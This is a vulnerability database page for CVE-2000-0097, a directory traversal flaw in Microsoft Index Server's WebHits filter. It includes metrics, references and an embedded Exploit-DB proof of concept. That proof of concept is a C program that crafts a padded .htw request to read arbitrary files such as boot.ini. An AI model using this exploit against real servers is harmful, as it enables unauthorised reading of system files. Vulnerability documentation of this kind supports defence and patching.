CVE-2000-0097 : Detail

CVE-2000-0097

93%V3
Network
2000-03-22
04h00 +00:00
2004-09-02
07h00 +00:00
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CVE Descriptions

The WebHits ISAPI filter in Microsoft Index Server allows remote attackers to read arbitrary files, aka the "Malformed Hit-Highlighting Argument" vulnerability.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

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EPSS Score

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Exploit information

Exploit Database EDB-ID : 19731

Publication date : 2000-01-25 23h00 +00:00
Author : fredrik.widlund
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/950/info Index Server 2.0 is a utility included in the NT 4.0 Option Pack. The functionality provided by Index Service has been built into Windows 2000 as Indexing Services. When combined with IIS, Index Server and Indexing Services include the ability to view web search results in their original context. It will generate an html page showing the query terms in a short excerpt of the surrounding text for each page returned, along with a link to that page. This is known as "Hit Highlighting". To do this, it supports the .htw filetype which is handled by the webhits.dll ISAPI application. This dll will allow the use of the '../' directory traversal string in the selection of a template file. This will allow for remote, unauthenticated viewing of any file on the system whose location is known by the attacker. The original patch released for this issue still discloses 'include' file types. 'include' files contain various data which assist in the execution of program files. /* [email protected] example: iiscat ../../../../boot.ini */ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char request[2048], *request_p, *file_read, *file_valid = "/default.htm"; int file_buf_size = 250; if (!((argc == 2 && argv[1] && strlen(argv[1]) < 1024) || (argc == 3 && argv[1] && argv[2] && strlen(argv[1]) <= file_buf_size && strlen(argv[2]) < 1024))) { fprintf(stderr, "usage: iiscat file_to_read [valid_file]\n"); exit(1); } file_read = argv[1]; if (argc == 3) file_valid = argv[2]; sprintf(request, "GET %s", file_valid); request_p = request + strlen(request); file_buf_size -= strlen(file_valid); while(file_buf_size) { strcpy(request_p, "%20"); request_p += 3; file_buf_size--; } sprintf(request_p, ".htw?CiWebHitsFile=%s&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n", file_read); puts(request); exit(0); }

Products Mentioned

Configuraton 0

Microsoft>>Index_server >> Version 2.0

References

http://www.securityfocus.com/bid/950
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/1210
Tags : vdb-entry, x_refsource_OSVDB